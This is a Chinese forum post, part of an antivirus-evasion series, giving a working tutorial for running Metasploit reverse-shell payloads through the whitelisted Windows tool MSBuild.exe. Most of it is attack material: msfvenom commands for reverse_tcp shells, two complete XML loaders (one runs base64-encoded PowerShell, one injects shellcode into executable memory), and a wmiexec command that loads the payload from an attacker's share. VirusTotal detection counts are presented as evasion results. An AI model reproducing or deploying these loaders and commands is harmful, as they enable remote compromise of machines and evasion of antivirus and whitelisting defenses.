安全矩阵

 找回密码
 立即注册
搜索
查看: 1786|回复: 0

远控免杀专题(34)-白名单MSBuild.exe执行有效载荷(VT免杀...

[复制链接]

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
发表于 2020-3-9 02:58:24 | 显示全部楼层 |阅读模式
一,MSBuild.exe介绍
之前在介绍免杀工具的时候已经介绍过MSBuild.exe,专题19中介绍的nps_payload:,https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA就是生成.xml文件,然后使用msbuild.exe来加载payload。还有专题20提到的GreatSCT:也是https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ可生成MSBuild.exe加载的xml文件。
Microsoft Build Engine是一个用作内置应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。VisualStudio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。
说明:Msbuild.exe所在路径没有被系统添加路径环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319。
适用条件:.NET Framework>=4.0
二,利用MSBuild.exe执行有效载荷法1(VT查杀率4/57)
使用msfvenom生成shellcode,注意生成的是psh格式

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333  -f psh -o shell.ps1
复制代码
然后打开shell.ps1文件,在文件最后添加一行for (;;){\n Start-sleep 60\n},保存一下。
然后把修改后的shell.ps1文件内容进行base64编码,可以使用在线平台(例如https://www.sojson.com/base64.html)也可以使用其他编码工具。

然后把编码后的内容替换到下面的代码中cmd =处,并保存为shell.xml。

  1. <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  2.   <!-- This inline task executes c# code. -->
  3.   <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe nps.xml -->
  4.   <!-- Original MSBuild Author: Casey Smith, Twitter: @subTee -->
  5.   <!-- NPS Created By: Ben Ten, Twitter: @ben0xa -->
  6.   <!-- License: BSD 3-Clause -->
  7.   <Target Name="npscsharp">
  8.    <nps />
  9.   </Target>
  10.   <UsingTask
  11.     TaskName="nps"
  12.     TaskFactory="CodeTaskFactory"
  13.     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  14.   <Task>
  15.     <Reference Include="System.Management.Automation" />
  16.       <Code Type="Class" Language="cs">
  17.         <![CDATA[

  18.           using System;
  19.       using System.Collections.ObjectModel;
  20.       using System.Management.Automation;
  21.       using System.Management.Automation.Runspaces;
  22.       using Microsoft.Build.Framework;
  23.       using Microsoft.Build.Utilities;

  24.       public class nps : Task, ITask
  25.         {
  26.             public override bool Execute()
  27.             {
  28.               string cmd = "JEFuRUl---base64_shellcode-----xsSW1wb3J0KCJrZXJuZWwzMi5k";

  29.                 PowerShell ps = PowerShell.Create();
  30.                 ps.AddScript(Base64Decode(cmd));

  31.                 Collection<PSObject> output = null;
  32.                 try
  33.                 {
  34.                     output = ps.Invoke();
  35.                 }
  36.                 catch(Exception e)
  37.                 {
  38.                     Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
  39.                 }
  40.                 if (output != null)
  41.                 {
  42.                     foreach (PSObject rtnItem in output)
  43.                     {
  44.                         Console.WriteLine(rtnItem.ToString());
  45.                     }
  46.                 }
  47.                 return true;
  48.             }

  49.             public static string Base64Encode(string text) {
  50.            return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
  51.         }

  52.         public static string Base64Decode(string encodedtext) {
  53.             return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
  54.         }
  55.         }
  56.         ]]>
  57.       </Code>
  58.     </Task>
  59.   </UsingTask>
  60. </Project>
复制代码
msbuild.exe加载文件的方式有两种

  1. 1. 本地加载执行:
  2. - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

  3. 2. 远程文件执行:

  4. wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
复制代码
我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
msfconsole监听相应payload和端口,打开杀软进行测试
可正常上线
virustotal.com上shell.xml查杀杀死植入4/57
三,利用MSBuild.exe执行有效载荷法2(VT查杀率18/58)
这是三好学生大神提供的一种xml代码,源文件见https://raw.githubusercontent.co ... tes%20shellcode.xml
需要先通过msfvenom生成C#的shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f cshar
复制代码
将生成的shellcode替换为以下代码的byte[] shellcode =处,将文件保存为shell2.xml。

  1. <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  2.   <!-- This inline task executes shellcode. -->
  3.   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  4.   <!-- Save This File And Execute The Above Command -->
  5.   <!-- Author: Casey Smith, Twitter: @subTee -->
  6.   <!-- License: BSD 3-Clause -->
  7.   <Target Name="Hello">
  8.     <ClassExample />
  9.   </Target>
  10.   <UsingTask
  11.     TaskName="ClassExample"
  12.     TaskFactory="CodeTaskFactory"
  13.     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  14.     <Task>
  15.    
  16.       <Code Type="Class" Language="cs">
  17.       <![CDATA[
  18.         using System;
  19.         using System.Runtime.InteropServices;
  20.         using Microsoft.Build.Framework;
  21.         using Microsoft.Build.Utilities;
  22.         public class ClassExample :  Task, ITask
  23.         {         
  24.           private static UInt32 MEM_COMMIT = 0x1000;         
  25.           private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         
  26.           [DllImport("kernel32")]
  27.             private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
  28.             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);         
  29.           [DllImport("kernel32")]
  30.             private static extern IntPtr CreateThread(            
  31.             UInt32 lpThreadAttributes,
  32.             UInt32 dwStackSize,
  33.             UInt32 lpStartAddress,
  34.             IntPtr param,
  35.             UInt32 dwCreationFlags,
  36.             ref UInt32 lpThreadId           
  37.             );
  38.           [DllImport("kernel32")]
  39.             private static extern UInt32 WaitForSingleObject(           
  40.             IntPtr hHandle,
  41.             UInt32 dwMilliseconds
  42.             );         
  43.           public override bool Execute()
  44.           {
  45.             byte[] shellcode = new byte[195] {
  46.               0xfc,--shellcode_here--,0x00 };
  47.               
  48.               UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
  49.                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  50.               Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
  51.               IntPtr hThread = IntPtr.Zero;
  52.               UInt32 threadId = 0;
  53.               IntPtr pinfo = IntPtr.Zero;
  54.               hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  55.               WaitForSingleObject(hThread, 0xFFFFFFFF);
  56.               return true;
  57.           }
  58.         }     
  59.       ]]>
  60.       </Code>
  61.     </Task>
  62.   </UsingTask>
  63. </Project>
复制代码
在msf中监听相应端口,在测试机中执行C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe shell2.xml
msf中可上线
virustotal.com上shell2.xml查杀杀死植入18/58
侯亮大神的文章已提供了另外一种XML代码:https://micro8.gitbook.io/micro8 ... ng-payload-di-yi-ji,可以直接对接msf。
virustotal.com上该代码查杀率目前为13/58。
四,参考资料
使用msbuild.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10490573.html
基于白名单Msbuild.exe执行有效载荷第一季:https://micro8.gitbook.io/micro8 ... ng-payload-di-yi-ji



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-5-20 07:21 , Processed in 0.015976 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表